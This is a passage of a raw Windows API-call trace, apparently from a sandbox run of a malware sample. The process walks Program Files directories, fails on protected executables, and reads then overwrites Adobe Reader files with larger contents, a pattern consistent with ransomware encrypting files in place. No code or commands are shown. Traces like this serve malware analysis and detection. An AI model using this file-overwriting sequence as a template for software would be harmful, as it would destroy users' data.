dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x51 [0035.445] LocalFree (hMem=0x70da60) returned 0x0 [0035.445] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.445] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0035.446] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.446] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\3dftp.exe" (normalized: "c:\\program files\\windows journal\\3dftp.exe")) returned 0x20 [0035.446] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe" (normalized: "c:\\program files\\windows journal\\pdialog.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\PDIALOG.exe", lpFilePart=0x2a0f690*="PDIALOG.exe") returned 0x2c [0035.451] GetLastError () returned 0x5 [0035.451] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0035.451] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.451] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.452] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0035.453] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.453] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\PDIALOG.exe" (normalized: "c:\\program files\\windows journal\\pdialog.exe")) returned 0x20 [0035.453] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.458] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", lpFilePart=0x2a0f690*="Shorthand.jtp") returned 0x38 [0035.458] GetLastError () returned 0x5 [0035.458] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x13 [0035.458] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.458] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.458] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0035.458] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.459] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp")) returned 0x20 [0035.459] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\accupos.exe" (normalized: "c:\\program files\\windows photo viewer\\accupos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\accupos.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\accupos.exe", lpFilePart=0x2a0f690*="accupos.exe") returned 0x31 [0035.459] GetLastError () returned 0x20 [0035.459] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʠ폈Hʠ퐔HʠLʠꟈǦ\x01") returned 0x51 [0035.459] LocalFree (hMem=0x70da60) returned 0x0 [0035.459] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.459] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0035.460] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.460] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0035.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\accupos.exe" (normalized: "c:\\program files\\windows photo viewer\\accupos.exe")) returned 0x20 [0035.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.462] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.462] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4268 [0035.462] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.462] ReleaseMutex (hMutex=0x128) returned 1 [0035.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Benioku.htm", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Benioku.htm", lpUsedDefaultChar=0x0) returned 11 [0035.462] ReadFile (in: hFile=0x1a8, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3268 [0035.466] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3268 [0035.466] WriteFile (in: hFile=0x1a8, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0035.467] WriteFile (in: hFile=0x1a8, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.467] CloseHandle (hObject=0x1a8) returned 1 [0035.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.468] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.468] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x434e [0035.468] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.468] ReleaseMutex (hMutex=0x128) returned 1 [0035.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LueMinut.htm", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LueMinut.htm", lpUsedDefaultChar=0x0) returned 12 [0035.468] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x334e [0035.470] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x334e [0035.471] WriteFile (in: hFile=0x1a8, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0035.471] WriteFile (in: hFile=0x1a8, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.471] CloseHandle (hObject=0x1a8) returned 1 [0035.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.473] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.473] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e00 [0035.473] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.473] ReleaseMutex (hMutex=0x128) returned 1 [0035.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0035.473] ReadFile (in: hFile=0x1a8, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0035.475] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.482] CloseHandle (hObject=0x1a8) returned 1 [0035.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.483] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.483] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1800 [0035.483] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.483] ReleaseMutex (hMutex=0x128) returned 1 [0035.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0035.483] ReadFile (in: hFile=0x1a8, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x2a0f2bc*=0x1800, lpOverlapped=0x0) returned 1 [0035.485] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0035.485] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0035.485] CloseHandle (hObject=0x1a8) returned 1 [0035.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e00 [0035.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.486] ReleaseMutex (hMutex=0x128) returned 1 [0035.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0035.486] ReadFile (in: hFile=0x1a8, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.488] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0035.488] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.488] CloseHandle (hObject=0x1a8) returned 1 [0035.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.492] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.492] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e00 [0035.492] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.492] ReleaseMutex (hMutex=0x128) returned 1 [0035.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0035.492] ReadFile (in: hFile=0x1a8, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.494] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0035.494] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.494] CloseHandle (hObject=0x1a8) returned 1 [0035.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.496] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.496] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0035.496] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0035.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.496] ReleaseMutex (hMutex=0x128) returned 1 [0035.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0035.496] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0035.808] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0035.809] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0035.817] CloseHandle (hObject=0x1a8) returned 1 [0035.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.178] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.180] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x647 [0036.180] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.180] ReleaseMutex (hMutex=0x128) returned 1 [0036.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 